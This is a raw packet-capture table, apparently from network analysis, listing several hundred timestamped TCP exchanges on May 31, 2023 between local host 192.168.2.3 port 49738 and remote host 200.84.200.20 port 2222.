May 31, 2023 14:27:19.316391945 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.319207907 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.321537018 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.321676970 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.326837063 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.326967955 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.328254938 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.328340054 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.332742929 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.332894087 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.335171938 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.335253954 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.339874029 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.342025995 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.342150927 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.346590042 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.346662998 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.348752022 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.348927021 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.353167057 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.353239059 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.356012106 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.358371973 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.360274076 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.360353947 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.362262964 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.362346888 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.367156982 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.367368937 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.369625092 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.369788885 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.373307943 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.373441935 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.376460075 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.376611948 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.378797054 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.378942013 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.383256912 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.386188030 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.387228966 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.387387991 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.390347958 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.390511990 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.392672062 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.392880917 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.397032022 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.397160053 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.398961067 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.399077892 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.404233932 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.404372931 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.406436920 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.406532049 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.410768032 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.410893917 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.412724972 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.412832022 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.417704105 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.417835951 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.420150042 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.420299053 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.424355030 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.424583912 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.426564932 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.426697969 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.431471109 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.431726933 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.433737040 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.433860064 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.438117981 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.438285112 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.440361977 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.440498114 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.445280075 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.445363045 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.447480917 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.447571993 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.451241970 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.451374054 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.454222918 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.454338074 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.459098101 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.459259987 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.461041927 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.461133957 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.465478897 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.465606928 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.468673944 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.468806028 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.472280979 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.472421885 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.474862099 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.474997997 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.478773117 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.479062080 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.481952906 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.482234955 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.486181021 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.486407995 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.488588095 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.488797903 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.490870953 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.491053104 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.495788097 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.495991945 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.499490976 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.499665976 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.502182007 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.502324104 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.504703045 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.504844904 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.509579897 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.509768963 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.511519909 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.511658907 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.516020060 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.516221046 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.518223047 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.518404007 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.523219109 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.523405075 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.527158022 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.527283907 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.529902935 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.530059099 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.532043934 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.532143116 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.536758900 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.536931992 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.540891886 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.541094065 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.543575048 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.543720961 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.546313047 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.546446085 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.550455093 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.550578117 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.552726984 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.552902937 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.557357073 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.557486057 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.559861898 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.559951067 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.563869953 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.563963890 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.566524029 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.566641092 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.568747044 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.568888903 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.573664904 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.573800087 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.578088999 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.578252077 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.580301046 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.580440998 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.584994078 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.585254908 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.587240934 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.587410927 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.589776039 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.589936972 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.594207048 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.594373941 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.598753929 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.598990917 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.601047039 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.601306915 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.603218079 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.603379011 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.607707977 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.607956886 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.609946966 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.610145092 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.614772081 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.615015984 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.618593931 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.618779898 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.621227980 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.621443033 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.624159098 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.624371052 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.628623009 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.628782988 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.631257057 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.631427050 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.635282040 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.635406971 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.637702942 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.637950897 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.642405033 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.642621994 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.644361019 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.644551039 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.648858070 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.649034977 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.651510954 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.651648045 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.655194998 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.655395985 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.658224106 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.658365011 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.662641048 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.662832975 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.665299892 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.665452003 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.669547081 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.669749022 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.671765089 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.671927929 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.673976898 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.674138069 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.679117918 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.679322004 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.683845997 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.684050083 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.685509920 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.685794115 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.688716888 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.688889980 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.692903996 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.693031073 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.696671009 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.696891069 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.699397087 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.699580908 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.702095032 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.702258110 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.706280947 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.706506014 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.710529089 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.710696936 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.713129997 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.713282108 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.715864897 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.715990067 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.720079899 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.720289946 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.722301960 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.722529888 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.727015972 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.727266073 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.729671955 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.729846954 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.733828068 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.734008074 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.736049891 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.736213923 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.740478039 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.740689993 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.743268013 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.743452072 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.747673035 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.747925997 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.749891043 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.750118017 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.754622936 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.754801035 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.756778002 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.756973028 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.761007071 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.761202097 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.764336109 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.764534950 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.767924070 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.768145084 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.770549059 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.770724058 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.772768974 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.772974014 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.777458906 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.777662992 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.779431105 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.779597044 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.784384012 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.784524918 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.788348913 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.788499117 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.790726900 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.790847063 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.793740988 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.793865919 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.798151016 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.798247099 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.800359964 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.800447941 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.804517031 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.804653883 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.804850101 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.807255983 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.807379007 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.811928988 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.812052011 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.814213991 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.814347982 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.818300962 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.818759918 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.820995092 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.821181059 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.825495005 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.825649977 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.827717066 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.827877045 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.832582951 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.832729101 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.834852934 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.834976912 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.839288950 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.839435101 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.841265917 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.841407061 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.846415997 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.846539021 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.848623037 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.848754883 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.852405071 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.852570057 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.855035067 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.855159998 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.859978914 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.860142946 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.862472057 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.862839937 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.866214991 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.866343021 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.868885994 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.869005919 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.873322010 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.873410940 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.875960112 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.876071930 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.879554033 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.879662991 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.882641077 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.882747889 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.887300968 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.887419939 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.889563084 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.889671087 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:19.891947031 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:19.892071009 CEST	49738	2222	192.168.2.3	200.84.200.20
